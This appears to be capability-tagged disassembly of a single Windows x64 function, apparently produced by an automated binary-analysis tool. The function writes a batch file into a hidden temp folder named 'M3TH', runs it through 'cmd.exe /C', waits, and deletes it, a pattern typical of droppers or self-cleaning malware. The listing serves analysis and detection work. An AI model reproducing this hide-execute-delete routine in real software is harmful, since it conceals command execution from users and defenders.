Function at 0x140007550
Capabilities:
Check if file exists
Delete file
Execute command
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x14008c098]
xor rax, rsp
mov qword [rbp + 0x110], rax
xor r15d, r15d
mov ebx, r15d
mov dword [rsp + 0x34], ebx
mov ecx, dword [0x14008ce88]
mov rax, qword gs:[0x58]
mov edi, 4
mov rdx, qword [rax + rcx*8]
lea r12d, [r15 + 7]
mov eax, dword [rdi + rdx]
cmp dword [0x14008cb58], eax
jg 0x140007c2a
lea rax, [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov rsi, qword [0x14008cb48]
lea r14, [0x14008cb38]
mov r15, r14
cmp qword [0x14008cb50], 0x10
cmovae r15, qword [0x14008cb38]
call fcn.14006ca3c
mov r13d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xor eax, eax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r12
mov word [rsp + 0x38], ax
or ebx, 4
mov dword [rsp + 0x34], ebx
test rsi, rsi
je 0x14000768a
cmp rsi, 0x7fffffff
ja 0x140007f6b
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, esi
mov rdx, r15
mov ecx, r13d
call fcn.14006ca64
mov rdi, rax
shr rax, 0x20
test eax, eax
jne 0x140007f76
xor r8d, r8d
movsxd rdx, edi
lea rcx, [rsp + 0x38]
call fcn.1400084a0
lea r9, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae r9, qword [rsp + 0x38]
mov dword [rsp + 0x20], edi
mov r8d, esi
mov rdx, r15
mov ecx, r13d
call fcn.14006ca64
shr rax, 0x20
test eax, eax
jne 0x140007f7e
mov r12, qword [rsp + 0x50]
lea rcx, [rsp + 0x38]
cmp r12, 8
cmovae rcx, qword [rsp + 0x38]
call fcn.14006cc9c
mov rdi, rax
shr rax, 0x20
test eax, eax
jne 0x140007f86
lea rcx, [rsp + 0x38]
call fcn.140006f10
test dil, dil
je 0x1400076f8
mov rcx, r14
cmp qword [0x14008cb50], 0x10
cmovae rcx, qword [0x14008cb38]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400076f8
mov rcx, r14
cmp qword [0x14008cb50], 0x10
cmovae rcx, qword [0x14008cb38]
or eax, 2
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov r15, qword [0x14008cb48]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0xa
jb 0x140007f9a
cmp qword [0x14008cb50], 0x10
cmovae r14, qword [0x14008cb38]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor r13d, r13d
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea r12, [r15 + 0xa]
mov edi, reloc.WS2_32.dll_ntohs
lea rbx, [rbp - 0x60]
lea esi, [rdi + 7]
lea rax, [rdi - 0x10]
cmp r12, rdi
jbe 0x1400077c2
mov rdi, r12
or rdi, 0xf
cmp rdi, rcx
jbe 0x140007765
mov rdi, rcx
jmp 0x14000776c
cmp rdi, rsi
cmovb rdi, rsi
mov rcx, rdi
add rcx, 1
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x1400077ac
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140007fa0
mov rcx, rax
call fcn.14006d170
test rax, rax
je 0x140007be8
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400077be
test rcx, rcx
je 0x1400077bb
call fcn.14006d170
mov rbx, rax
jmp 0x1400077be
mov rbx, r13
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], rdi
mov r8, r15
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str._title.bat]
movsd qword [rbx + r15], xmm0
movzx eax, word [0x1400719b0]
mov word [rbx + r15 + 8], ax
mov byte [rbx + r12], r13b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rax
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
lea r8d, [rax + 6]
lea rdx, str.846280
lea rcx, [rsp + 0x38]
call fcn.140003b70
lea r8, [rsp + 0x38]
lea rdx, [rbp - 0x40]
lea rcx, [0x14008c880]
call fcn.140014250
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rdx, qword [rbp - 0x60]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rcx, [rbp]
call fcn.140004a40
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
mov r8, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x40]
sub r8, rdx
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 8]
call fcn.1400073b0
test rax, rax
jne 0x1400078dd
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, [rbp]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r15, qword [rbp - 0x50]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0xc
jb 0x140007fa6
lea r12, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r12, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea r14, [r15 + 0xc]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x60]
cmp r14, rbx
jbe 0x1400079a4
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000793e
mov rbx, rcx
jmp 0x140007946
cmp rbx, 0x16
cmovb rbx, rsi
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14000798d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140007c24
mov rcx, rax
call fcn.14006d170
test rax, rax
je 0x140007a98
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000799f
test rcx, rcx
je 0x14000799c
call fcn.14006d170
mov rdi, rax
jmp 0x14000799f
mov rdi, r13
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], rbx
movsd xmm0, qword [str.cmd.exe__C__]
movsd qword [rdi], xmm0
mov eax, dword [0x1400719c8]
mov dword [rdi + 8], eax
lea rcx, [rdi + 0xc]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140007a12
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x60]
mov word [rax + rcx], Ordinal_35
lea rax, [rsp + 0x60]
jmp 0x140007a37
mov qword [rsp + 0x20], 1
lea r9, [0x1400719bc]
movzx r8d, byte [rsp + 0x30]
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140004090
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140007aa4
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007a9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d1ac
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rcx, qword [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140007b15
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007b10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d1ac
movdqa xmm0, xmmword [0x140071a00]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call fcn.1400057a0
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xa8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140007bb6
mov rdx, qword [rbp - 0x30]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ba5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007ba5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d1ac
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140007bf4
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007bef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007bef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d1ac
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.14006d2c0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140006d80
nop
lea rcx, [0x14008cb58]
call fcn.14006d6b8
cmp dword [0x14008cb58], 0xffffffff
jne 0x1400075bd
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r12
mov word [rbp - 0x80], r15w
mov dword [rsp + 0x34], 0x80
mov word [rsp + 0x20], r15w
mov r9d, 0x105
movzx r8d, byte [rsp + 0x30]
mov edx, r9d
lea rcx, [rbp - 0x80]
call fcn.1400043d0
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
call fcn.14006d03c
mov qword [rsp + 0x60], rax
mov ecx, eax
mov r8, qword [rbp - 0x70]
cmp rcx, r8
ja 0x140007cb9
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rax, qword [rbp - 0x80]
mov qword [rbp - 0x70], rcx
mov word [rax + rcx*2], r15w
jmp 0x140007d15
mov rdx, rcx
sub rdx, r8
mov rdi, qword [rbp - 0x68]
mov rax, rdi
sub rax, r8
cmp rdx, rax
ja 0x140007cfd
mov qword [rbp - 0x70], rcx
lea r9, [rbp - 0x80]
cmp rdi, 8
cmovae r9, qword [rbp - 0x80]
lea rdi, [r9 + r8*2]
test rdx, rdx
je 0x140007cf2
movzx eax, r15w
mov rcx, rdx
rep stosw word [rdi], ax
lea rax, [rdx + r8]
mov word [r9 + rax*2], r15w
jmp 0x140007d15
mov word [rsp + 0x20], r15w
mov r9, rdx
movzx r8d, byte [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1400043d0
mov eax, dword [rsp + 0x64]
cmp eax, 0xffffffff
jne 0x140007d2c
mov eax, reloc.WS2_32.dll_sendto
lea rcx, section..data
jmp 0x140007d33
lea rcx, [0x14008c010]
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x68], rcx
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x34], 0x40
test eax, eax
je 0x140007d69
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x60]
lea rcx, str.temp_directory_path
call fcn.140006dc0
int3
lea rsi, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rsi, qword [rbp - 0x80]
mov rbx, qword [rbp - 0x70]
call fcn.14006ca3c
mov r14d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
movdqa xmm1, xmmword [0x140071a00]
movdqu xmmword [rsp + 0x48], xmm1
mov byte [rsp + 0x38], 0
mov dword [rsp + 0x34], 0x840
test rbx, rbx
je 0x140007e2f
cmp rbx, 0x7fffffff
jbe 0x140007dc3
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140006e90
int3
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8d, ebx
mov rdx, rsi
mov ecx, r14d
call fcn.14006caac
mov rdi, rax
shr rax, 0x20
test eax, eax
je 0x140007dec
mov ecx, eax
call fcn.140006ed0
int3
movsxd rdx, edi
xor r8d, r8d
lea rcx, [rsp + 0x38]
call fcn.140008400
lea r9, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae r9, qword [rsp + 0x38]
mov dword [rsp + 0x20], edi
mov r8d, ebx
mov rdx, rsi
mov ecx, r14d
call fcn.14006caac
shr rax, 0x20
test eax, eax
je 0x140007e2f
mov ecx, eax
call fcn.140006ed0
nop
mov ebx, 0x740
mov dword [rsp + 0x34], ebx
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x140007e89
lea rax, [rcx + 5]
mov qword [rsp + 0x48], rax
lea rdi, [rsp + 0x38]
cmp rdx, 0x10
cmovae rdi, qword [rsp + 0x38]
add rdi, rcx
mov r8d, 5
lea rdx, str.M3TH
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + 5], 0
lea rax, [rsp + 0x38]
jmp 0x140007eae
mov qword [rsp + 0x20], 5
lea r9, str.M3TH
movzx r8d, byte [rsp + 0x30]
mov edx, 5
lea rcx, [rsp + 0x38]
call fcn.140004090
xorps xmm0, xmm0
movups xmmword [0x14008cb38], xmm0
mov qword [0x14008cb48], r15
mov qword [0x14008cb50], r15
movups xmm0, xmmword [rax]
movups xmmword [0x14008cb38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [0x14008cb48], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts ebx, 0xc
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140007f2e
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007f29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d1ac
movdqa xmm0, xmmword [0x140071a00]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
and ebx, 0xffffffbf
lea rcx, [rbp - 0x80]
call fcn.140006f10
lea rcx, [0x14006f9b0]
call fcn.14006d518
nop
lea rcx, [0x14008cb58]
call fcn.14006d658
jmp 0x1400075bd
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140006e90
int3
mov ecx, eax
call fcn.140006ed0
int3
mov ecx, eax
call fcn.140006ed0
nop
lea r8, [rsp + 0x38]
mov edx, eax
lea rcx, str.create_directory
call fcn.140006e20
nop
call fcn.140006fa0
int3
call fcn.140006d80
nop
call fcn.140006fa0
int3